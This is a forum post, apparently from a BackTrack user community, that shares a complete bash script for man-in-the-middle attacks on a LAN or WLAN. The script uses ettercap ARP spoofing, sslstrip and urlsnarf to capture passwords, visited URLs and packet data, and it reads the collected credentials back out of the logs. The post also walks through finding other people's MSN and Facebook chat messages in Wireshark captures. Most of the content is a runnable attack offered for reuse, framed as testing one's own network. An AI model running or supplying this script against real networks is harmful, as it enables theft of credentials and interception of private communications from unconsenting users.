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Thread: Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urlsnarf

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    Just burned his ISO
    Join Date
    Apr 2010
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    Default Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urlsnarf

    UPDATED SCRIPT 27/4 - added tcpxtract
    UPDATE: How to find facebook chat messages...

    I got very tired of writing commands endlessly while pentesting my network. So i started writing script for anything i do. This script is the one i use mostly.
    Im still very new at Backtrack/Linux, but this script really works for me, and im sure other beginners out there can put it to good use as well.

    First of all, make sure your etter.conf is default. Your etter.conf is located at /etc/etter.conf - this section must remain commented out:
    Code:
    # if you use iptables:
       #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
       #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    This is because i use ettercap to do the arpspoofing, but i dont want it to do the fake certificate thing (we have sslstrip to do the job).

    Save this code to a new text file and save as anything.sh (make sure to chmod to execute, right click->properties->permissions->check "is executable")

    Code:
    #!/bin/bash
    echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK "
    read -e NOYES
    echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK "
    read -e XTRACT
    echo -n "What interface to use? ie wlan0: "
    read -e IFACE
    echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
    read -e SESSION
    echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
    read -e ROUTER
    echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
    read -e VICTIM
    mkdir /root/$SESSION/
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    sslstrip -p -k -w /root/$SESSION/$SESSION.log &
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
    urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
    ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
    "$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap
    "$NOYES"wireshark &
    killall sslstrip
    killall python
    killall urlsnarf
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    etterlog -p -i /root/$SESSION/$SESSION.eci
    Its pretty forward...

    This script will execute sslstrip+log file, urlsnarf (dumping all the urls to a txt file), ettercap with arpspoofing+log files (with the passwords)+pcap file (for further analyze). all the files are put in the same folder, with identical filenames (of course with different extensions).
    Furthermore when quitting the script (and ettercap) properly with the key "q", the script will clean up after itself (shutting down sslstrip,urlsnarf and flushing iptables). At last it automatically reads out passwords from the ettercap logfile (.eci) and runs wireshark for further analyze.

    TIP: For me the easiest way to dump pictures from a pcap file (which the script generates), is by using NetworkMiner for windows. It runs smooth via wine, if you tweak it a bit like this tutorial shows: hxxp://geek00l.blogspot.com/2008/12/drunken-monkey-running-network-miner.html

    HOW TO FIND MSN/FACEBOOK CHAT IN WIRESHARK:
    Finding msn chat is easy. There are many EXPRESSIONS in wireshark, one has the name "MSNMS". If you apply that, it'll show you the messages.

    Finding facebook chat is a bit more complicated. There are no EXPRESSION or filter to use. BUT i found out:
    CTRL+F brings you the search packet command. search for: /ajax/chat/send.php
    ATTENTION: in the search box, check the box that searches by "string" and in search in: Packet List.

    That will give you the packets with the sent messages. When you select the packet, scroll down to the button and expand the "Line-based text data:"

    There you'll have the message if you look carefully.

    Its not that elegant...

    I have not tested this with getting a message back. But that should be fairly easy and almost the same. You can always start the sniffer, send a message or receive a message and then stop sniffing. Then open the pcap in wireshark and look at the packets. Identify the one with the received message and find a way to search for such packet in the future.


    Feel free to ask any questions.

    Teddy Strand
    Last edited by tedbear; 04-27-2010 at 09:46 PM. Reason: updating script...

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